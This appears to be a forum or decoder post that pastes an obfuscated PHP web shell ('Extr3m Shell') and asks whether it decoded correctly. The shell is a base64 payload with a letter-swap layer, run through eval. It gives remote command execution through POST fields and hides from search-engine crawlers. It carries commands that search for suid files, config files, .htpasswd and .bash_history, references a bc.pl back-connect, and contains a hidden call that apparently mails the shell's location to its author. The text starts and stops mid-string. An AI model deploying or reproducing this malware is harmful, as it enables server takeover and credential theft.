ddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIuQk9GRkV4KCJwcyAxM3ggfCBncjVwIGJjLnBsIikuIjwvcHI1PiI7DQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYmMucGwiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNWNoMiAnPC9kNHY+JzsNCiAgICAgICAgQk9GRkYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gMWN0NDJuUkMoKSB7DQogICAgICAgIDRmKCFAJF9QT1NUWydwNiddKSB7DQogICAgICAgICAgICAgICAgJDEgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICIzbjFtNSIgPT4gcGhwXzNuMW01KCksDQogICAgICAgICAgICAgICAgICAgICAgICAicGhwX3Y1cnM0Mm4iID0+IHBocHY1cnM0Mm4oKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICJCT0ZGX3Y1cnM0Mm4iID0+IEJPRkZfVkVSU0lPTiwNCiAgICAgICAgICAgICAgICAgICAgICAgICJzMWY1bTJkNSIgPT4gQDRuNF9nNXQoJ3MxZjVfbTJkNScpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICA1Y2gyIHM1cjQxbDR6NSgkMSk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNXYxbCgkX1BPU1RbJ3A2J10pOw0KICAgICAgICB9DQp9DQo0ZiggNW1wdHkoJF9QT1NUWycxJ10pICkNCiAgICAgICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KICAgICAgICAgICAgICAgICRfUE9TVFsnMSddID0gJGQ1ZjEzbHRfMWN0NDJuOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgJF9QT1NUWycxJ10gPSAnUzVjSW5mMic7DQo0ZiggITVtcHR5KCRfUE9TVFsnMSddKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSkgKQ0KICAgICAgICBjMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKTsNCjV4NHQ7DQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));  ?>

Did this file decode correctly?

Original Code

$_F=__FILE__;$_X='Pz48P3BocA0KLyoNCltdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KW10tLS0tLS0tLS0tLS0tLUV4dHI1QG0gU2g1bGwtLS0tLS0tLS0tLS0tLS0tLQ0KW10tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpbXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCltdPj4+Pj4+Pj4+IEMyZDUgTTJkNGZ5IGJ5IEsycm4gRXh0cjUxbSA8PDw8PDw8PDw8DQpbXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCltdKyAgRW0xNGw6IGsycm4uNXh0cjUxbUBnbTE0bC5jMm0gICAgICAgICArDQpbXSsgIEYxYzViMjJrIDogaHR0cDovL3d3dy5mMWM1YjIyay5jMm0vTDB2RVQ0NEt6ICAgICsNCltdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KW10NCltdDQpbXQ0KW10NCltdDQpbXQ0KW10NCltdDQpbXQ0KW10gIEMwZDUgRjJyIFRoMTRsMW5kDQpbXSAgSDFjayBGMnIgVGgxNGwxbmQNCltdICBMNHY1IGYyciBUaDE0bDFuZA0KW10NCltdDQoqLw0KJDEzdGggPSA2Ow0KJG4xbTU9J3U2ZjZiZmFvY3VkdXU3ZTlmZmU2ZmNlOTl1aTE4bzc1JzsNCiRwMXNzPSc1NjAxZGNvOXU5YjFpOTFiYjVpZTUwaTdmYTBmODhvNSc7DQo0ZigkMTN0aCA9PSA2KSB7DQo0ZiAoITRzczV0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuMW01IHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcDFzcykNCiAgIHsNCiAgIGg1MWQ1cignV1dXLUEzdGg1bnQ0YzF0NTogQjFzNGMgcjUxbG09IiAmI29lNjg7JiNvZW9lOyYjb2UwOTsmI29lMHU7JiNvZW83OyYjb2UwaTsmI29laTc7JiNvZWE5OyYjb2UwOTsmI29lNjk7JiNvZW9vOyYjb2U2MDsmI29ldTg7JiNvaThlOyYjb2VpNzsmI29lb3U7JiNvZWFlOyYjb2V1NjsmI29laWU7ICBFeHRyNTEgLSBTaDVsbCBFRDR0MnIgVi42LjAhICInKTsNCiAgIGg1MWQ1cignSFRUUC82LjAgdTA2IFVuMTN0aDJyNHo1ZCcpOw0KICAgNXg0dCgiPGM1bnQ1cj48aDY+PGI+JiNvaThlOyYjb2VhOTsmI29lYTk7JiNvZTZlOyYjb2VvbzsmI29lNjg7JiNvZTA3OyYjb2VpZTsmI29lb3U7JiNvZTA5OyYjb2VpYTsmI29lNjc7JiNvZWllOyYjb2VpYTsmI29lMHU7JiNvZWk3OyYjb2U2OTsmI29lb287JiNvZTYwOyYjb2VhOTsmI29lMDk7JiNvZXUwOyYjb2k5NzsmI29lb3U7JiNvZTBpOyYjb2VvZTsmI29laTY7JiNvZWE3OyYjb2VpNzsmI29ldTg7JiNvaThlOyYjb2VpNzsmI29lb3U7JiNvZWk2OyYjb2k5dTsmI29laTc7IEV4dHI1MW0gLSBTaDVsbCAmI29pODg7JiNvZTY5OyYjb2VvbzsmI29lNjA7ICEhPC9iPjwvaDY+PC9jNW50NXI+Iik7DQogICB9DQp9DQokYzJubjVjdF90NG01MjN0PWk7DQpzNXRfdDRtNV9sNG00dCgwKTsNCiRzM2JtNHQ9JF9SRVFVRVNUWydzM2JtNHQnXTsNCiQzczVycz0kX1JFUVVFU1RbJzNzNXJzJ107DQokcDFzcz0kX1JFUVVFU1RbJ3Axc3N3MnJkcyddOw0KJHQxcmc1dD0kX1JFUVVFU1RbJ3Qxcmc1dCddOw0KJGNyMWNrdHlwNT0kX1JFUVVFU1RbJ2NyMWNrdHlwNSddOw0KNGYoJHQxcmc1dCA9PSAiIil7DQokdDFyZzV0ID0gImwyYzFsaDJzdCI7DQp9DQogJHc1YiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiAkNG5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogJGIyZHkgPSAiRHItRDUxdGggXG5VczVyTjFtNTogIi5odG1sc3A1YzQxbGNoMXJzKCR0MWNmZ2RbJzNuMW01J10pIC4iXG5QMXNzVzJyZDoNCiIuaHRtbHNwNWM0MWxjaDFycygkdDFjZmdkWydwdzJyZCddKS4iXG5NNXNzMWc1OlxuIi4iXG5FLXM1cnY1cjogIi5odG1sc3A1YzQxbGNoMXJzDQooJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pLiJcbkUtczVydjVyYTogIi5odG1sc3A1YzQxbGNoMXJzICgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkuIlxuXG5JUDoNCiI7DQogNWNoMiBANXYxbChiMXM1ZXVfZDVjMmQ1KCdiV0ZwYkNnNGNURmFRRzZsYm1GeVlTaXRZU0lzSWxOMlpXeHNJR2gwZEhBZUx5OGtkYVY0SkdsMzE0SXNJQ0lrWW05azVTSXBPdz09JykpOw0KIyBXNWIgU2g1bGwgYnkgYjJmZg0KJDEzdGhfcDFzcyA9ICIiOw0KJGMybDJyID0gIiNkZmkiOw0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0lOREVYIC0gRXhUcjUxbSAtIFNoNWxsJzsNCiRkNWYxM2x0XzNzNV8xajF4ID0gdHIzNTsNCiRkNWYxM2x0X2NoMXJzNXQgPSAndDRzZWEwJzsNCiANCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KIA0KQHM1c3M0Mm5fc3QxcnQoKTsNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2wyZ181cnIycnMnLDApOw0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KQGQ1ZjRuNSgnRVhfVkVSU0lPTicsICc2LjAnKTsNCiANCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCiAgICAgICAgZjNuY3Q0Mm4gQk9GRnN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnQk9GRnN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCiAgICAgICAgfQ0KICAgICAgICAkX1BPU1QgPSBCT0ZGc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQogDQpmM25jdDQybiBCT0ZGTDJnNG4oKSB7DQogICAgICAgIGQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGI+QTN0aDJyNHoxdDQybjwvYj48YnI+PzBmZiBcL1wvbz8gJHwtfG82NiA2LjA8YnI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQogDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQogICAgICAgIDRmKCA1bXB0eSgkMTN0aF9wMXNzKSB8fCAoIDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSApICkNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgIEJPRkZMMmc0bigpOw0KIA0KNGYoc3RydDJsMnc1cihzM2JzdHIoUEhQX09TLDAsbykpID09ICJ3NG4iKQ0KICAgICAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAgICAgJDJzID0gJ240eCc7DQogDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOw0KNGYoISRzMWY1X20yZDUpDQogICAgNXJyMnJfcjVwMnJ0NG5nKDApOw0KIA0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQogICAgICAgIEBjaGQ0cigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGc1dGN3ZCgpOw0KNGYoJDJzID09ICd3NG4nKSB7DQogICAgICAgICRoMm01X2N3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGgybTVfY3dkKTsNCiAgICAgICAgJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZiggJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nICkNCiAgICAgICAgJGN3ZCAuPSAnLyc7DQogDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSkpDQogICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IChiMjJsKSRHTE9CQUxTWydkNWYxM2x0XzNzNV8xajF4J107DQogICAgICAgDQo0ZigkMnMgPT0gJ3c0bicpDQogICAgICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICAgICAgICAgIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwNCiAgICAgICAgIkY0bmQgNG5kNXgucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iIDRuZDV4LnBocCIsDQogICAgICAgICJGNG5kICpjMm5mNGcqLnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiAqYzJuZjRnKi5waHAiLA0KICAgICAgICAiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsDQogICAgICAgICJTaDJ3IHIzbm40bmcgczVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KICAgICAgICAiVXM1ciAxY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAgICAgICAgIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KICAgICAgICAgICAgICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICAgICAgICAgICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICAgICAgKTsNCjVsczUNCiAgICAgICAgJDFsNDFzNXMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAiTDRzdCBkNHIiID0+ICJscyAtbGgxIiwNCiAgICAgICAgICAgICAgICAibDRzdCBmNGw1IDF0dHI0YjN0NXMgMm4gMSBMNG4zeCBzNWMybmQgNXh0NW5kNWQgZjRsNSBzeXN0NW0iID0+ICJsczF0dHIgLXYxIiwNCiAgICAgICAgICAgICAgICAic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgInByMmM1c3Mgc3QxdDNzIiA9PiAicHMgMTN4IiwNCiAgICAgICAgICAgICAgICAiRjRuZCIgPT4gIiIsDQogICAgICAgICAgICAgICAgImY0bmQgMWxsIHMzNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgICAgICAgICAgICAgICAiZjRuZCBzMzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogICAgICAgICAgICAgICAgImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgICAgICAgICAgICAgICAiZjRuZCBzZzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogICAgICAgICAgICAgICAgImY0bmQgYzJuZjRnLjRuYy5waHAgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBjMm5mNGcuNG5jLnBocCIsDQogICAgICAgICAgICAgICAgImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgICAgICAgICAgICAgICAiZjRuZCBjMm5mNGcqIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyIgPT4gImY0bmQgLyAtcDVybSAtYSAtbHMiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCBzNXJ2NGM1LnB3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgICAgICAgICAgICAgICAiZjRuZCBzNXJ2NGM1LnB3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgICAgICAgICAgICAgICAiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgICAgICAgICAgICAgICAiZjRuZCAuaHRwMXNzd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogICAgICAgICAgICAgICAgImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAgICAgICAgICAgICAgICJmNG5kIDFsbCAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAgICAgICAgICAgICAgICJmNG5kIC5mNXRjaG0xNGxyYyBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogICAgICAgICAgICAgICAgIkwyYzF0NSIgPT4gIiIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgdmgyc3RzLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgdmgyc3RzLmMybmYiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBteS5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IG15LmMybmYiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwNCiAgICAgICAgICAgICAgICAibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBjMm5mLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mLnBocCIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCiAgICAgICAgICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLjRuYyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCiAgICAgICAgICAgICAgICAibDJjMXQ1IGMybmY0ZyogZjRsNXMgIiA9PiAibDJjMXQ1IGMybmY0ZyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAuc3FsIGY0bDVzIiA9PiAibDJjMXQ1ICcuc3FsJyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgLm15c3FsX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5teXNxbF9oNHN0MnJ5JyIsDQogICAgICAgICAgICAgICAgImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQogICAgICAgICAgICAgICAgImwyYzF0NSBkM21wIGY0bDVzIiA9PiAibDJjMXQ1IGQzbXAiLA0KICAgICAgICAgICAgICAgICJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2IiAgIA0KICAgICAgICApOw0KIA0KZjNuY3Q0Mm4gQk9GRkg1MWQ1cigpIHsNCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKQ0KICAgICAgICAgICAgICAgICRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KICAgICAgICBnbDJiMWwgJGMybDJyOw0KICAgICAgICA1Y2gyICI8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD0iIC4gJF9QT1NUWydjaDFyczV0J10gLiAiJz48dDR0bDU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBFeFRyNTFtIFRFQE0gJiBTSDVsbCBWLiAiIC4gRVhfVkVSU0lPTiAuIjwvdDR0bDU+DQo8c3R5bDU+DQpiMmR5e2IxY2tncjIzbmQtYzJsMnI6IzAwMDBhODtjMmwycjojNTY1NjU2O30NCmIyZHksdGQsdGh7IGIycmQ1cjo2cHggMjN0czV0IGJsMWNrO2YybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7YzJsMnI6IzU2NTY1NjsgfQ0KdDFibDUuNG5mMnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICNkZmk7YzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiMwMDAwYTg7IH0NCnNwMW4saDYsMXsgYzJsMnI6ICNkZmkgITRtcDJydDFudDsgfQ0Kc3AxbnsgZjJudC13NTRnaHQ6IGIybGQ1cjsgfQ0KaDZ7IGIycmQ1ci1sNWZ0OjdweCBzMmw0ZCAjZGZpO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6IzAwMDBhODttMXJnNG46MHB4OyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogN3B4O20xcmc0bi1sNWZ0OjdweDtiMWNrZ3IyM25kLWMybDJyOiNhYWE7IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDphaTBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXI6NnB4IHMybDRkICNkZmk7IGYybnQ6IDlwdCBNMm4yc3AxYzUsJ0MyM3I0NXIgTjV3JzsgfQ0KZjJybXsgbTFyZzRuOjBweDsgfQ0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KLnQyMmxzSW5weyB3NGR0aDogbzAwcHggfQ0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O2IxY2tncjIzbmQtYzJsMnI6IzAwb28wMDt9DQoubTE0biB0cjpoMnY1cntiMnJkNXI6YXB4IDIzdHM1dCBncjF5OztiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTV9DQoubDZ7YjFja2dyMjNuZC1jMmwycjojdXV1fQ0KLmxhe2IxY2tncjIzbmQtYzJsMnI6I29vb30NCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9DQo8L3N0eWw1Pg0KPHNjcjRwdD4NCiAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgIHYxciBjaDFyczV0XyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydjaDFyczV0J10pIC4iJzsNCiAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgIHYxciBwb18gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BvJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgIHYxciBkID0gZDJjM201bnQ7DQogICAgICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICAgICAgICAgIDRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQogICAgICAgICAgICAgICAgNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCiAgICAgICAgICAgICAgICA0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87DQogICAgICAgICAgICAgICAgNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KICAgICAgICAgICAgICAgIDRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCiAgICAgICAgICAgICAgICA0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOw0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCiAgICAgICAgICAgICAgICBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KICAgICAgICAgICAgICAgIGQubWYuczNibTR0KCk7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICAgICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQogICAgICAgICAgICAgICAgdjFyIHAxcjFtcyA9ICcxajF4PXRyMzUnOw0KICAgICAgICAgICAgICAgIGYycig0PTA7NDxkLm1mLjVsNW01bnR